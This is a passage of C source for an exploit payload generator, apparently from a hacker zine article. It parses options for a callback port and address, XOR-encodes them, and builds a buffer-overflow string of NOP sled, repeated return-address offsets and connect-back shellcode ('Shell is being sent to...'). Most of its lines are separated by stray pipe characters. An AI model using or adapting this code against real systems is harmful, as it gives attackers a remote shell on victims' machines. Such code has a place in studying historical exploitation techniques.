if(verb)
|
||
|
fprintf(stderr, "Shell coming back on port %d\n", portd);
|
||
|
|
||
|
portd = htons(portd);
|
||
|
portd ^= 0xffff;
|
||
|
|
||
|
if(verb)
|
||
|
fprintf(stderr, " (0x%x)\n", portd);
|
||
|
|
||
|
memcpy((void *)port, (void *)&portd, sizeof(u_short));
|
||
|
break;
|
||
|
/*
|
||
|
* Address to which we connect
|
||
|
*/
|
||
|
case 'a':
|
||
|
addrd = inet_addr(optarg);
|
||
|
if(addrd == -1L){
|
||
|
fprintf(stderr, "Bad address '%s'.\n", optarg);
|
||
|
exit(1);
|
||
|
}
|
||
|
addrd ^= 0xffffffff;
|
||
|
memcpy((void *)addr, (void *)&addrd, sizeof(u_long));
|
||
|
|
||
|
if(verb){
|
||
|
fprintf(stderr, "Shell is being sent to %s.\n", optarg);
|
||
|
fprintf(stderr, " (0x%lx)\n", addrd);
|
||
|
}
|
||
|
|
||
|
break;
|
||
|
/*
|
||
|
* Alignment (should only be necessary on architectures
|
||
|
* other than x86)
|
||
|
*/
|
||
|
case 'A':
|
||
|
align = strtoul(optarg, NULL, 10);
|
||
|
break;
|
||
|
case 'v':
|
||
|
verb++;
|
||
|
break;
|
||
|
case 'h':
|
||
|
default:
|
||
|
usage(argv[0]);
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
o += nudge;
|
||
|
align += ALIGNIT;
|
||
|
|
||
|
if(verb){
|
||
|
fprintf(stderr, "Offset is 0x%x\n", o);
|
||
|
fprintf(stderr, "Alignment nudged %d bytes\n", align);
|
||
|
}
|
||
|
|
||
|
p = b00m;
|
||
|
memset(p, 0x90, sizeof(b00m));
|
||
|
p = b00m + ALIGNIT;
|
||
|
for(i = 0; i < PAD; (i += 4)){
|
||
|
*((int *)p) = o;
|
||
|
p +=4;
|
||
|
}
|
||
|
|
||
|
p = (&b00m[0]) + PAD + PAD + ALIGNIT;
|
||
|
memcpy((void *)p, (void*)llehs, SHELLSIZE);
|
||
|
|
||
|
b00m[BUFSIZE] = 0;
|
||
|
fprintf(stderr, "payload is %d bytes wide\n", strlen(b00m));
|
||
|
printf("%s", b00m);
|
||
|
exit(0);
|
||
|
}
|
||
|
<-->
|
||
|
|
||
|
|EOF|-------------------------------------------------------------------------|
|